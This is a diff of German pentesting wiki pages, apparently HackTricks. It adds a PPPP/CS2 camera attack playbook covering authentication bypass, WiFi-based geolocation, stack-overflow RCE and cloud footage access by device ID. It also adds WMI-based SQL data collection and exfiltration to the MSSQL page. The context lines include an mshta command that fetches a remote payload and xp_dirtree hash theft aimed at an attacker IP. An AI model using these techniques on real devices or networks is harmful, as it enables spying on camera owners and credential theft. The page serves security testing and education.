+PPPP (a.k.a. “P2P”) ist ein proprietärer Geräte-Connectivity-Stack von CS2 Network, der weit verbreitet in günstigen IP-Kameras und anderen IoT-Geräten eingesetzt wird. Er bietet Rendezvous, NAT-Traversal (UDP hole punching), einen anwendungsseitigen „reliable“ Stream auf UDP und ein ID-basiertes Adressierungsschema, das einer mobilen/desktop App erlaubt, Geräte überall im Internet nur mit einer Geräte-ID zu erreichen.
+
+Wesentliche Merkmale für Angreifer:
+- Geräte registrieren sich pro ID-Präfix bei drei vendor-betriebenen Rendezvous-Servern. Clients fragen dieselben Server ab, um die externe/Relay-Adresse des Geräts zu finden, und versuchen dann UDP hole punching. Ein Relay-Fallback existiert.
+- Der Standard-Server-Listener ist über UDP/32100 erreichbar. Eine minimale „hello“-Probe reicht aus, um Server und einige Geräte zu identifizieren.
+- Es existiert eine optionale Blanket-Cipher und ein spezieller „CRCEnc“-Modus, beides ist aber per Design schwach und in populären Ökosystemen (z. B. LookCam) typischerweise deaktiviert.
+- Die Control-Plane besteht üblicherweise aus JSON-Kommandos über den PPPP-Stream und leidet häufig an fehlender Authentifizierung und Speichersicherheitsfehlern.
+
+Typisches Geräte-ID-Format (LookCam-Familie): PREFIX-######-CCCCC, in Apps verkürzt (z. B. GHBB-000001-NRLXW → G000001NRLXW). Beobachtete Präfixe: BHCC ("hekai"), FHBB und GHBB ("mykj").
+
+## Erkennung und Aufzählung
+
+- Internet-Exposition: viele PPPP-Supernodes antworten auf eine 32100/UDP-Probe. Bekannte Klartext- und Fehler-String-Antworten machen sie in Traffic-Captures und mit Internet-Scannern leicht identifizierbar.
+- LAN-Erkennung: Geräte antworten oft auf eine unverschlüsselte Suche über lokalen Broadcast. Verwende Paul Marrapese’s Script zur Enumeration:
+- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
+
+Hinweise:
+- Apps betten „init strings“ ein, die obfuskierte Server-IP-Listen und Protokoll-Keys enthalten. Diese Strings sind trivial aus Android/iOS/Windows-Clients extrahierbar und werden oft über viele Produktlinien wiederverwendet.
+
+## NAT Traversal und Transport
+
+- Rendezvous-Server lernen das öffentliche Mapping des Geräts durch periodische Keepalives vom Gerät. Clients fragen die Server nach dem Mapping und versuchen dann direkte UDP-Flows mittels Hole Punching. Wenn NAT-Traversal fehlschlägt, wird der Traffic über designated PPPP-Relay-Hosts weitergeleitet.
+- Der applikationsseitige „Stream“ implementiert eigene ACK-/Retx-Logik auf UDP; Retransmissions-Schleifen sind in vielen Codepfaden dupliziert und können verlustbehaftete Links fluten.
+
+## Schwache "Verschlüsselung" und Schlüssel-Wiederherstellung
+
+Im CS2-Stack existieren zwei ineffektive Mechanismen:
+
+1) Blanket cipher (optional) – P2P_Proprietary_Encrypt
+- Wird von OEMs bei LookCam meist deaktiviert.
+- Die App-seitige „init string“ liefert das Key-Material, das auf einen effektiven 4-Byte-Key (~2^32 Raum) reduziert wird.
+- Praktisches Known-Plaintext: die ersten 4 Bytes von MSG_HELLO zu UDP/32100 sind bekannt als F1 00 00 00. Das Beobachten eines einzelnen verschlüsselten Handshakes erlaubt schnelle Key-Recovery oder Validierung.
+- Einige Control-Messages (z. B. MSG_REPORT_SESSION_READY) sind immer mit einem in der Bibliothek hartkodierten Key verschlüsselt, der across Apps geteilt wird.
+
+2) Registration „encryption“ – PPPP_CRCEnc
+- Trotz des Namens ist das keine CRC. Es ist ein festes, wiederholendes XOR-Keystream mit einer 4-Byte-Padding-Prüfung (nicht authentifiziert).
+- LookCam-Netzwerke nutzen CRCEnc typischerweise nur für die device → server Registrierung (MSG_DEV_LGN_CRC). Der meiste andere Traffic bleibt im Klartext.
+
+Einfaches Keystream-Recovery für PPPP_CRCEnc (Python):
+```python
+# ciphertext: captured bytes of an encrypted registration message
+# known: guessed/known plaintext region (e.g., JSON or constant header)
+keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
+# Decrypt more bytes by XORing with the repeating keystream
+pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
+```
+Fehlanpassung des Bedrohungsmodells: CS2-Materialien konzentrieren sich darauf, DoS durch gefälschte Geräte-Registrierungen zu verhindern, nicht auf Vertraulichkeit. Das erklärt die selektive „Verschlüsselung“ der Registrierung, während Video/Steuerung optional oder im Klartext bleiben. Historische PPPP-Server zeigen keine Rate-Limitierung, wodurch brute-force/abuse in großem Maßstab möglich ist.
+
+## Steuerungsebene: JSON-Befehle und Auth-Bypass
+
+Viele PPPP-Kamera-Firmwares tauschen JSON-Nachrichten aus, sobald die Session steht. Beispiel „login“, das der Client sendet:
+```json
+{
+"cmd": "LoginDev",
+"pwd": "123456"
+}
+```
+Common vulnerability in LookCam-class devices:
+- Die Firmware ignoriert sowohl den LoginDev-Flow als auch die pro-request pwd-Felder (CWE-287, CWE-306). Das Gerät akzeptiert Betriebsbefehle, ohne ein Passwort zu validieren.
+- Ausnutzung: LoginDev nicht senden oder dessen Ergebnis ignorieren; Befehle direkt senden.
+
+Useful commands observed:
+- searchWiFiList – führt iwlist aus; legt die rohe Ausgabe in /tmp/wifi_scan.txt ab.
+- DownloadFile – Lese-Primitive für beliebige Pfade ohne Pfadbeschränkungen.
+
+Workflow to deanonymize location via transient artifacts:
+1) Send {"cmd":"searchWiFiList"}.
+2) Read /tmp/wifi_scan.txt via DownloadFile.
+3) Submit BSSID MACs to a geolocation API (e.g., Google Geolocation API) to localize the camera to tens of meters.
+
+## Von Memory-Safety zu RCE auf Embedded-Firmware
+
+Typisches unsicheres Muster (Pseudocode aus den Handlers):
+```c
+char buf[256];
+char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
+memset(buf, 0, sizeof(buf));
+memcpy(buf, cmd, strlen(cmd)); // no bound check
+```
+- Trigger: jede cmd-Zeichenkette > 255 Bytes verursacht einen stack buffer overflow (CWE-120/121).
+- Protections: kein stack canary; DEP/NX und ASLR sind in diesen Builds häufig deaktiviert.
+- Impact: straightforward single-stage shellcode oder klassisches ROP/ret2libc auf der CPU des Geräts (z. B. ARM) für vollständige Kompromittierung und LAN-Pivoting.
+
+See also:
+-
+{{#ref}}
+../binary-exploitation/stack-overflow/README.md
+{{#endref}}
+-
+{{#ref}}
+../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
+{{#endref}}
+
+## Missbrauch von Cloud-Speicher (HTTP, nur Device-ID)
+
+Viele LookCam-Firmwares laden Aufnahmen nur über HTTP zu api.l040z.com hoch (apicn.l040z.com für BHCC). Beobachtungen:
+- Keine TLS in der Firmware; Transport ist Klartext-HTTP.
+- API "authentication" ist nur Device-ID: jeder, der die ID kennt, kann Aufnahmen abrufen.
+- Chunking auf 5 MiB ist fest codiert.
+- Remote-Aktivierung: Beim Boot ruft das Gerät http://api.l040z.com/camera/signurl auf; die Antwort des Servers entscheidet, ob Uploads starten. Die mobile App kann Cloud als "disabled" anzeigen, selbst wenn Uploads stattfinden. Ein Dritter kann Cloud für eine Opfer-ID kaufen/aktivieren und heimlich Material sammeln.
+
+Dies ist eine klassische Klartext-Übertragung sensibler Daten (CWE-319) mit fehlender serverseitiger authZ.
+
+## Device-ID-Enumerierung und Erraten
+
+- ID-Format: PREFIX-######-CCCCC und app-kürzere Form (z. B. GHBB-000001-NRLXW → G000001NRLXW).
+- Prefix-Familien: BHCC (hekai servers), FHBB und GHBB (mykj servers). Jeder Prefix mappt auf drei Rendezvous-Server für HA.
+- Der 5‑stellige Verifier verwendet ein Alphabet von 22 Großbuchstaben (A, I, O, Q ausgeschlossen) → 22^5 ≈ 5.15M Kombinationen pro numerischer Basis.
+- Frühere Arbeiten beobachteten kein serverseitiges Rate-Limiting, was verteiltes Erraten praktikabel macht. Der Verifier-Algorithmus ist maßgeschneidert und wahrscheinlich erratbar oder durch Reverse-Engineering der Apps/Firmware zu erhalten.
+
+Praktische Quellen für IDs:
+- In den offiziellen Apps überall angezeigt und oft in user screenshots/videos leaked.
+- AP-Modus SSID entspricht der Device-ID; viele Geräte öffnen einen offenen AP während des Onboardings.
+
+## Erzwingen der Fern-Erreichbarkeit
+
+Einige Firmwares booten in einer Schleife, bis Rendezvous-Server erreichbar sind. Wenn Egress blockiert ist, bleibt das Gerät im Reboot-Zyklus und zwingt Besitzer effektiv, es Internet-erreichbar zu lassen und PPPP-Rendezvous auszusetzen.
+
+## Praktisches Exploitation-Playbook (für Repro/Verteidigungs-Tests)
+
+1) Device ID beschaffen
+- Aus der App-UI oder AP-SSID; ansonsten PREFIX+Nummer enumerieren und die 22^5 Verifier-Space brute-forcen.
+
+2) PPPP-Session herstellen
+- Verwende einen CS2 PPPP-Client oder eigenen Code; extrahiere Server-IP-Listen und init keys aus dem App-Init-String; versuche UDP hole punching; fallback auf Relay.
+
+3) Auth umgehen
+- LoginDev überspringen oder dessen Ergebnis ignorieren; sende operational JSON direkt.
+
+4) Dateien exfiltrieren / geolokalisieren
+- Sende {"cmd":"searchWiFiList"}; dann DownloadFile "/tmp/wifi_scan.txt"; BSSIDs an eine Geolocation-API übermitteln.
+
+5) RCE erreichen
+- Sende ein cmd > 255 Bytes, um den stack overflow auszulösen; baue ROP/ret2libc oder drop shellcode (kein canary/DEP/ASLR).
+
+6) Cloud-Zugriff
+- Interagiere mit api.l040z.com Endpunkten nur mit der Device-ID; beachten: 5 MiB Chunking; Cloud-Aktivierung wird durch /camera/signurl gesteuert, unabhängig vom Zustand der App-UI.
+
+## Verwandte Protokolle/Services
+
+-
+{{#ref}}
+554-8554-pentesting-rtsp.md
+{{#endref}}
+-
+{{#ref}}
+../generic-methodologies-and-resources/pentesting-wifi/README.md
+{{#endref}}
+
+## Referenzen
+
+- [A look at a P2P camera (LookCam app) – Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
+- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
+- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
+- [General PPPP analysis – Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
+- [CS2 Network sales deck (2016) – PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
+- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
+
+{{#include ../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/554-8554-pentesting-rtsp.md
+++ b/src/network-services-pentesting/554-8554-pentesting-rtsp.md
@ -6,32 +6,32 @@

 Von [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):

-> Das **Real Time Streaming Protocol** (**RTSP**) ist ein Netzwerksteuerprotokoll, das für den Einsatz in Unterhaltungs- und Kommunikationssystemen entwickelt wurde, um Streaming-Medienserver zu steuern. Das Protokoll wird verwendet, um Mediensitzungen zwischen Endpunkten einzurichten und zu steuern. Clients von Medienservern geben VHS-ähnliche Befehle wie Abspielen, Aufnehmen und Pausieren aus, um die Echtzeitsteuerung der Medien zu erleichtern, die vom Server zu einem Client (Video On Demand) oder von einem Client zum Server (Sprachaufnahme) gestreamt werden.
+> Das **Real Time Streaming Protocol** (**RTSP**) ist ein Netzwerk-Kontrollprotokoll, das für den Einsatz in Unterhaltungs- und Kommunikationssystemen entwickelt wurde, um Streaming-Medienserver zu steuern. Das Protokoll wird verwendet, um Medien-Sitzungen zwischen Endpunkten aufzubauen und zu kontrollieren. Clients von Medienservern geben VHS-ähnliche Befehle, wie play, record und pause, aus, um die Echtzeitsteuerung des Media-Streamings vom Server zu einem Client (Video On Demand) oder von einem Client zum Server (Voice Recording) zu ermöglichen.
 >
-> Die Übertragung von Streaming-Daten selbst ist keine Aufgabe von RTSP. Die meisten RTSP-Server verwenden das Real-time Transport Protocol (RTP) in Verbindung mit dem Real-time Control Protocol (RTCP) für die Lieferung von Medienströmen. Einige Anbieter implementieren jedoch proprietäre Transportprotokolle. Die RTSP-Server-Software von RealNetworks verwendete beispielsweise auch das proprietäre Real Data Transport (RDT) von RealNetworks.
+> Die Übertragung der eigentlichen Streaming-Daten ist keine Aufgabe von RTSP. Die meisten RTSP-Server verwenden das Real-time Transport Protocol (RTP) in Verbindung mit dem Real-time Control Protocol (RTCP) für die Zustellung von Medienströmen. Einige Anbieter implementieren jedoch proprietäre Transportprotokolle. Die RTSP-Server-Software von RealNetworks beispielsweise verwendete auch RealNetworks' proprietäres Real Data Transport (RDT).

-**Standardports:** 554,8554
+**Standard-Ports:** 554,8554
 ```
 PORT    STATE SERVICE
 554/tcp open  rtsp
 ```
 ## Wichtige Details

-**RTSP** ist ähnlich wie HTTP, wurde jedoch speziell für das Streaming von Medien entwickelt. Es ist in einer einfachen Spezifikation definiert, die hier zu finden ist:
+**RTSP** ist ähnlich wie HTTP, wurde aber speziell für Media-Streaming entwickelt. Es ist in einer einfachen Spezifikation definiert, die hier zu finden ist:

 [RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)

-Geräte könnten **unauthentifizierten** oder **authentifizierten** Zugriff erlauben. Um dies zu überprüfen, wird eine "DESCRIBE"-Anfrage gesendet. Ein einfaches Beispiel ist unten dargestellt:
+Geräte können **nicht authentifizierten** oder **authentifizierten** Zugriff erlauben. Um das zu prüfen, wird eine "DESCRIBE"-Anfrage gesendet. Ein einfaches Beispiel ist unten dargestellt:

 `DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`

-Denken Sie daran, dass die korrekte Formatierung ein doppeltes "\r\n" für eine konsistente Antwort umfasst. Eine "200 OK"-Antwort zeigt **unauthentifizierten Zugriff** an, während "401 Unauthorized" signalisiert, dass eine Authentifizierung erforderlich ist, und offenbart, ob **Basic** oder **Digest-Authentifizierung** benötigt wird.
+Denke daran, dass die korrekte Formatierung ein doppeltes "\r\n" für eine konsistente Antwort enthält. Eine "200 OK"-Antwort zeigt **nicht authentifizierten Zugriff** an, während "401 Unauthorized" die Notwendigkeit einer Authentifizierung signalisiert und offenbart, ob **Basic** oder **Digest authentication** erforderlich ist.

-Für **Basic-Authentifizierung** kodieren Sie den Benutzernamen und das Passwort in base64 und fügen es in die Anfrage ein, wie folgt:
+Für **Basic authentication** kodieren Sie den Benutzernamen und das Passwort in base64 und fügen es wie folgt in die Anfrage ein:

 `DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`

-Dieses Beispiel verwendet "admin" und "1234" für die Anmeldeinformationen. Hier ist ein **Python-Skript**, um eine solche Anfrage zu senden:
+Dieses Beispiel verwendet "admin" und "1234" als Zugangsdaten. Hier ist ein **Python-Skript**, um eine solche Anfrage zu senden:
 ```python
 import socket
 req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
@ -41,42 +41,48 @@ s.sendall(req)
 data = s.recv(1024)
 print(data)
 ```
-**Basic-Authentifizierung** ist einfacher und bevorzugt. **Digest-Authentifizierung** erfordert eine sorgfältige Handhabung der im "401 Unauthorized"-Antwort bereitgestellten Authentifizierungsdetails.
+**Basic authentication** ist einfacher und vorzuziehen. **Digest authentication** erfordert sorgfältigen Umgang mit den Authentifizierungsdetails, die in der "401 Unauthorized" Antwort bereitgestellt werden.

-Diese Übersicht vereinfacht den Prozess des Zugriffs auf RTSP-Streams und konzentriert sich auf **Basic-Authentifizierung** aufgrund ihrer Einfachheit und Praktikabilität bei ersten Versuchen.
+Diese Übersicht vereinfacht den Prozess des Zugriffs auf RTSP-Streams und konzentriert sich auf **Basic authentication** wegen seiner Einfachheit und Praktikabilität bei ersten Versuchen.

 ## Enumeration

-Lass uns Informationen über gültige Methoden und unterstützte URLs abrufen und versuchen, den Zugriff (falls erforderlich) durch Brute-Force zu erlangen, um auf den Inhalt zuzugreifen.
+Sammle Informationen darüber, welche Methoden und URLs unterstützt werden, und versuche gegebenenfalls per brute-force Zugriff auf den Inhalt zu erlangen.
 ```bash
 nmap -sV --script "rtsp-*" -p <PORT> <IP>
 ```
-#### Anzeigen des RTSP-Streams mit [ffplay](https://ffmpeg.org/ffplay.html)
-Sobald Sie einen gültigen RTSP-Pfad (z. B. `/mpeg4`, `/live.sdp`) entdeckt und den Zugriff (unauthentifiziert oder mit Anmeldeinformationen) bestätigt haben, können Sie `ffplay` verwenden, um den Stream abzuspielen:
+#### Den RTSP-Stream mit [ffplay](https://ffmpeg.org/ffplay.html) anzeigen
+Sobald Sie einen gültigen RTSP-Pfad (z. B. `/mpeg4`, `/live.sdp`) entdeckt und den Zugriff bestätigt haben (ohne Authentifizierung oder mit Zugangsdaten), können Sie `ffplay` verwenden, um den Stream wiederzugeben:
 ```bash
 ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
 ```
- `-rtsp_transport tcp`: Verwenden Sie TCP anstelle von UDP für zuverlässigeres Streaming
+- `-rtsp_transport tcp`: Verwende TCP statt UDP für zuverlässigeres Streaming
 - `-x`, `-y`: Optionale Flags zur Steuerung der Videoauflösung
- Ersetzen Sie `<IP>` und den Pfad nach Bedarf
+- Ersetze `<IP>` und Pfad nach Bedarf

 ### [Brute Force](../generic-hacking/brute-force.md#rtsp)

 ### **Andere nützliche Programme**

-Um zu bruteforcen: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
+To bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)

 [**Cameradar**](https://github.com/Ullaakut/cameradar)

- Offene RTSP-Hosts auf jedem zugänglichen Ziel erkennen
- Ihre öffentlichen Informationen abrufen (Hostname, Port, Kameramodell usw.)
- Automatisierte Wörterbuchangriffe starten, um ihre Stream-Route zu erhalten (zum Beispiel /live.sdp)
+- Offene RTSP-Hosts auf jedem erreichbaren Ziel erkennen
+- Deren öffentliche Informationen erhalten (hostname, port, camera model, etc.)
+- Automatisierte Wörterbuchangriffe starten, um deren Stream-Pfad zu erhalten (for example /live.sdp)
 - Automatisierte Wörterbuchangriffe starten, um den Benutzernamen und das Passwort der Kameras zu erhalten
- Thumbnails von ihnen generieren, um zu überprüfen, ob die Streams gültig sind und um eine schnelle Vorschau ihres Inhalts zu haben
- Versuchen, eine Gstreamer-Pipeline zu erstellen, um zu überprüfen, ob sie richtig codiert sind
- Eine Zusammenfassung aller Informationen drucken, die Cameradar erhalten konnte
+- Thumbnails erzeugen, um zu prüfen, ob die Streams gültig sind und eine schnelle Vorschau ihres Inhalts zu erhalten
+- Versuchen, eine Gstreamer-Pipeline zu erstellen, um zu prüfen, ob sie korrekt kodiert sind
+- Eine Zusammenfassung aller von Cameradar erhaltenen Informationen ausgeben

-## References
+### See also
+
+{{#ref}}
+32100-udp-pentesting-pppp-cs2-p2p-cameras.md
+{{#endref}}
+
+## Quellen

 - [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)
 - [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
--- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
+++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
@ -4,25 +4,25 @@

 ## Grundlegende Informationen

-Von [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
+Aus [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):

-> **Microsoft SQL Server** ist ein **relationales Datenbank**-Managementsystem, das von Microsoft entwickelt wurde. Als Datenbankserver ist es ein Softwareprodukt mit der Hauptfunktion, Daten zu speichern und abzurufen, wie von anderen Softwareanwendungen angefordert—die entweder auf demselben Computer oder auf einem anderen Computer über ein Netzwerk (einschließlich des Internets) ausgeführt werden können.
+> **Microsoft SQL Server** ist ein **relationales Datenbankmanagementsystem**, das von Microsoft entwickelt wurde. Als Datenbankserver ist es ein Softwareprodukt mit der Hauptfunktion, Daten zu speichern und abzurufen, wie von anderen Softwareanwendungen angefordert — die entweder auf demselben Computer oder auf einem anderen Computer über ein Netzwerk (einschließlich des Internets) ausgeführt werden können.

 **Standardport:** 1433
 ```
 1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
 ```
-### **Standard-MS-SQL-Systemtabellen**
+### **Standard MS-SQL Systemtabellen**

- **master-Datenbank**: Diese Datenbank ist entscheidend, da sie alle systembezogenen Details für eine SQL-Server-Instanz erfasst.
- **msdb-Datenbank**: Der SQL Server-Agent nutzt diese Datenbank zur Verwaltung der Planung von Warnungen und Jobs.
- **model-Datenbank**: Dient als Vorlage für jede neue Datenbank auf der SQL-Server-Instanz, wobei Änderungen wie Größe, Sortierung, Wiederherstellungsmodell und mehr in neu erstellten Datenbanken widergespiegelt werden.
- **Resource-Datenbank**: Eine schreibgeschützte Datenbank, die Systemobjekte enthält, die mit SQL Server geliefert werden. Diese Objekte, obwohl physisch in der Resource-Datenbank gespeichert, werden logisch im sys-Schema jeder Datenbank präsentiert.
- **tempdb-Datenbank**: Dient als temporärer Speicherbereich für flüchtige Objekte oder Zwischenresultate.
+- **master Database**: Diese Datenbank ist entscheidend, da sie alle systemweiten Informationen für eine SQL Server-Instanz enthält.
+- **msdb Database**: Der SQL Server Agent verwendet diese Database zur Verwaltung von Zeitplänen für Alerts und Jobs.
+- **model Database**: Dient als Vorlage für jede neue Database auf der SQL Server-Instanz, wobei Änderungen wie Größe, Collation, Wiederherstellungsmodell und mehr in neu erstellten Datenbanken übernommen werden.
+- **Resource Database**: Eine schreibgeschützte Database, die Systemobjekte beherbergt, die mit SQL Server ausgeliefert werden. Diese Objekte sind physisch in der Resource Database gespeichert, werden aber logisch im sys-Schema jeder Datenbank dargestellt.
+- **tempdb Database**: Dient als temporärer Speicherbereich für flüchtige Objekte oder Zwischenresultate.

-## Aufzählung
+## Enumeration

-### Automatische Aufzählung
+### Automatic Enumeration

 Wenn Sie nichts über den Dienst wissen:
 ```bash
@ -30,9 +30,9 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
 msf> use auxiliary/scanner/mssql/mssql_ping
 ```
 > [!TIP]
-> Wenn Sie **keine Anmeldeinformationen** haben, können Sie versuchen, diese zu erraten. Sie können nmap oder metasploit verwenden. Seien Sie vorsichtig, Sie können **Konten sperren**, wenn Sie sich mehrmals mit einem vorhandenen Benutzernamen anmelden und fehlschlagen.
-
-#### Metasploit (benötigt Anmeldeinformationen)
+> Wenn Sie **nicht** **credentials** haben, können Sie versuchen, diese zu erraten. Sie können nmap oder metasploit verwenden. Seien Sie vorsichtig: Sie können **block accounts**, wenn Sie sich mehrmals mit einem bestehenden Benutzernamen falsch einloggen.
+ 
+#### Metasploit (need creds)
 ```bash
 #Set USERNAME, RHOSTS and PASSWORD
 #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -68,7 +68,7 @@ msf> use windows/manage/mssql_local_auth_bypass

 ### Manuelle Enumeration

-#### Anmeldung
+#### Login

 [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
 ```shell
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
 1> select 1;
 2> go
 ```
-#### Häufige Aufzählung
+#### Häufige Enumeration
 ```sql
 # Get version
 select @@version;
@ -154,16 +154,16 @@ order by name;
 EXEC sp_helpuser
 SELECT * FROM sysusers
 ```
-#### Berechtigungen abrufen
+#### Berechtigungen erhalten

-1. **Securable:** Definiert als die Ressourcen, die von SQL Server für die Zugriffskontrolle verwaltet werden. Diese werden in folgende Kategorien unterteilt:
- **Server** – Beispiele sind Datenbanken, Logins, Endpunkte, Verfügbarkeitsgruppen und Serverrollen.
- **Datenbank** – Beispiele umfassen Datenbankrollen, Anwendungsrollen, Schemata, Zertifikate, Volltextkataloge und Benutzer.
- **Schema** – Beinhaltet Tabellen, Ansichten, Prozeduren, Funktionen, Synonyme usw.
-2. **Berechtigung:** Im Zusammenhang mit SQL Server Securables können Berechtigungen wie ALTER, CONTROL und CREATE einem Principal gewährt werden. Die Verwaltung von Berechtigungen erfolgt auf zwei Ebenen:
- **Serverebene** unter Verwendung von Logins
- **Datenbankebene** unter Verwendung von Benutzern
-3. **Principal:** Dieser Begriff bezieht sich auf die Entität, die die Berechtigung für ein Securable erhält. Principals umfassen hauptsächlich Logins und Datenbankbenutzer. Die Kontrolle über den Zugriff auf Securables erfolgt durch das Gewähren oder Verweigern von Berechtigungen oder durch das Einbeziehen von Logins und Benutzern in Rollen, die mit Zugriffsrechten ausgestattet sind.
+1. **Securable:** Als die vom SQL Server für die Zugriffskontrolle verwalteten Ressourcen definiert. Diese werden in folgende Kategorien eingeteilt:
+- **Server** – Beispiele: Datenbanken, Logins, Endpunkte, Verfügbarkeitsgruppen und Serverrollen.
+- **Database** – Beispiele: Datenbankrollen, Anwendungsrollen, Schema, Zertifikate, Volltextkataloge und Benutzer.
+- **Schema** – Beinhaltet Tabellen, Sichten, Prozeduren, Funktionen, Synonyme usw.
+2. **Permission:** Mit Securables assoziierte Berechtigungen wie ALTER, CONTROL und CREATE können einem Principal gewährt werden. Die Verwaltung von Berechtigungen erfolgt auf zwei Ebenen:
+- **Serverebene** über Logins
+- **Datenbankebene** über Benutzer
+3. **Principal:** Dieser Begriff bezeichnet die Entität, der Berechtigungen an ein Securable gewährt werden. Principals umfassen hauptsächlich Logins und Datenbankbenutzer. Die Kontrolle des Zugriffs auf Securables erfolgt durch das Gewähren oder Verweigern von Berechtigungen oder durch das Aufnehmen von Logins und Benutzern in Rollen, die über Zugriffsrechte verfügen.
 ```sql
 # Show all different securables names
 SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -185,10 +185,10 @@ EXEC sp_helprotect 'xp_cmdshell'
 ```
 ## Tricks

-### OS-Befehle ausführen
+### Betriebssystem-Befehle ausführen

 > [!CAUTION]
-> Beachten Sie, dass es erforderlich ist, **`xp_cmdshell`** **aktiviert** zu haben, um Befehle ausführen zu können, und auch die **EXECUTE-Berechtigung für das `xp_cmdshell`-Stored Procedure** zu besitzen. Sie können herausfinden, wer (außer Sysadmins) **`xp_cmdshell`** verwenden kann mit:
+> Beachte, dass man, um Befehle ausführen zu können, nicht nur **`xp_cmdshell`** aktiviert haben muss, sondern auch die **EXECUTE-Berechtigung auf der gespeicherten Prozedur `xp_cmdshell`** besitzen muss. Man kann ermitteln, wer (außer sysadmins) **`xp_cmdshell`** verwenden kann mit:
 >
 > ```sql
 > Use master
@ -235,13 +235,45 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
 # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
 ```
-### Hash-Passwörter abrufen
+### WMI-based remote SQL collection (sqlcmd + CSV export)
+
+Operatoren können vom IIS/app-Tier zu SQL-Servern pivotieren, indem sie WMI verwenden, um ein kleines Batch-Skript auszuführen, das sich bei MSSQL authentifiziert und Ad-hoc-Abfragen ausführt und die Ergebnisse als CSV exportiert. Das hält die Sammlung einfach und fügt sich in administrative Aktivitäten ein.
+
+Beispiel mssq.bat
+```bat
+@echo off
+rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
+set S=%1
+set U=%2
+set P=%3
+set Q=%4
+set O=%5
+rem Remove headers, trim trailing spaces, CSV separator = comma
+sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
+```
+Führe es remote mit WMI aus
+```cmd
+wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
+```
+PowerShell-Alternative
+```powershell
+$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
+Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
+```
+Hinweise
+- sqlcmd könnte fehlen; weiche auf osql, PowerShell Invoke-Sqlcmd oder einen Einzeiler mit System.Data.SqlClient aus.
+- Verwende Anführungszeichen mit Vorsicht; lange/komplexe Queries lassen sich leichter über eine Datei oder ein Base64-kodiertes Argument liefern, das im Batch-/PowerShell-Stub dekodiert wird.
+- Exfiltriere die CSV über SMB (z. B. kopiere von \\SQLHOST\C$\Windows\Temp) oder komprimiere und verschiebe sie über dein C2.
+
+
+
+### Gehashte Passwörter abrufen
 ```bash
 SELECT * FROM master.sys.syslogins;
 ```
-### NetNTLM-Hash stehlen / Relay-Angriff
+### Steal NetNTLM hash / Relay attack

-Sie sollten einen **SMB-Server** starten, um den Hash zu erfassen, der bei der Authentifizierung verwendet wird (`impacket-smbserver` oder `responder` zum Beispiel).
+Du solltest einen **SMB server** starten, um den bei der Authentifizierung verwendeten Hash zu erfassen (z. B. `impacket-smbserver` oder `responder`).
 ```bash
 xp_dirtree '\\<attacker_IP>\any\thing'
 exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -265,7 +297,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
